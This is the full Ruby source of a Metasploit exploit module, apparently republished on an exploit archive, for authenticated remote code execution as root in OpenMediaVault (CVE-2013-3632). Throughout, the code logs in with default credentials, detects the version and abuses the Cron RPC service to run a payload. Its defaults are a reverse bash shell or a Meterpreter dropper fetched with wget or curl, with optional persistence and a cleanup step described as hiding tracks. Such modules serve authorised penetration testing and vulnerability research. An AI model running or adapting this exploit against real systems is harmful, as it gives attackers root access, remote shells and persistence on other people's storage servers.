Headline
OpenMediaVault rpc.php Authenticated Cron Remote Code Execution
OpenMediaVault allows an authenticated user to create cron jobs as root on the system. An attacker can abuse this by sending a POST request via rpc.php to schedule and execute a cron entry that runs arbitrary commands as root on the system. All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Deprecated moved_from 'exploit/multi/http/openmediavault_cmd_exec' def initialize(info = {}) super( update_info( info, 'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution', 'Description' => %q{ OpenMediaVault allows an authenticated user to create cron jobs as root on the system. An attacker can abuse this by sending a POST request via rpc.php to schedule and execute a cron entry that runs arbitrary commands as root on the system. All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor 'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module ], 'References' => [ ['CVE', '2013-3632'], ['PACKETSTORM', '178526'], ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'], ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632'] ], 'DisclosureDate' => '2013-10-30', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']), OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']), OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false]) ] ) end def user datastore['USERNAME'] end def pass datastore['PASSWORD'] end def rpc_success?(res) res&.code == 200 && res.body.include?('"error":null') end def login(user, pass) print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}") # try the login options for all OpenMediaVault versions res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'Session', method: 'login', params: { username: user, password: pass }, options: nil }.to_json }) unless res&.code == 200 && res.body.include?('"authenticated":true') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'Authentication', method: 'login', params: { username: user, password: pass } }.to_json }) end unless res&.code == 200 && res.body.include?('"authenticated":true') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'Authentication', method: 'login', params: [ { username: user, password: pass } ] }.to_json }) return res&.code == 200 && res.body.include?('"authenticated":true') end true end def check_target print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => { service: 'System', method: 'getInformation', params: nil }.to_json }) return nil unless rpc_success?(res) res end def check_version(res) # parse json response and get the version res_json = res.get_json_document unless res_json.blank? # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information version = res_json.dig('response', 1, 'value') version = res_json.dig('response', 'version') if version.nil? version = res_json.dig('response', 'data', 1, 'value') if version.nil? return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil? end nil end def apply_config_changes # Apply OpenMediaVault configuration changes send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => { service: 'Config', method: 'applyChangesBg', params: { modules: [], force: false }, options: nil }.to_json }) end def execute_command(cmd, _opts = {}) # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*'] # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*' # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined' # OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*' uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4' if @version_number > Rex::Version.new('1.0.32') post_data = { service: 'Cron', method: 'set', params: { uuid: uuid, enable: true, execution: 'exactly', minute: schedule, everynminute: false, hour: schedule, everynhour: false, dayofmonth: schedule, everyndayofmonth: false, month: schedule, dayofweek: schedule, username: 'root', command: cmd.to_s, # payload sendemail: false, comment: '', type: 'userdefined' }, options: nil }.to_json elsif @version_number >= Rex::Version.new('0.2.6.4') post_data = { service: 'Cron', method: 'set', params: { uuid: uuid, enable: true, minute: schedule, everynminute: false, hour: schedule, everynhour: false, dayofmonth: schedule, everyndayofmonth: false, month: schedule, dayofweek: schedule, username: 'root', command: cmd.to_s, # payload sendemail: false, comment: '', type: 'userdefined' } }.to_json else post_data = { service: 'Cron', method: 'set', params: [ { uuid: uuid, minute: schedule, hour: schedule, dayofmonth: schedule, month: schedule, dayofweek: schedule, username: 'root', command: cmd.to_s, # payload comment: '', type: 'userdefined' } ] }.to_json end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => post_data }) fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res) # parse json response and get the uuid of the cron entry # we need this later to clean up and hide our tracks res_json = res.get_json_document @cron_uuid = res_json.dig('response', 'uuid') || '' # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it if @cron_uuid.blank? if @version_number >= Rex::Version.new('0.2.6.4') method = 'getList' else method = 'getListByType' end post_data = { service: 'Cron', method: method, params: { start: 0, limit: -1, sortfield: nil, sortdir: nil, type: ['userdefined'] } }.to_json res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => post_data }) res_json = res.get_json_document # get total list of entries and pick the last one index = res_json.dig('response', 'total') @cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || '' end # Apply and update cron configuration to trigger payload execution (1 minute) # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply apply_config_changes print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.') end def on_new_session(_session) # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true unless datastore['PERSISTENT'] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rpc.php'), 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => { service: 'Cron', method: 'delete', params: { uuid: @cron_uuid.to_s } # options: nil }.to_json }) if rpc_success?(res) # Apply changes and update cron configuration to remove the payload entry # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply apply_config_changes print_good('Cron payload entry successfully removed.') else print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.') end end super end def check @logged_in = login(user, pass) return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in res = check_target return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil? @version_number = check_version(res) return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil? return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2')) CheckCode::Detected("Version #{@version_number}") end def exploit unless @logged_in if login(user, pass) res = check_target fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil? @version_number = check_version(res) if @version_number.nil? print_status('Can not retrieve version information. Continue anyway...') else print_status("Version #{@version_number} detected.") end else fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.') end end print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end endend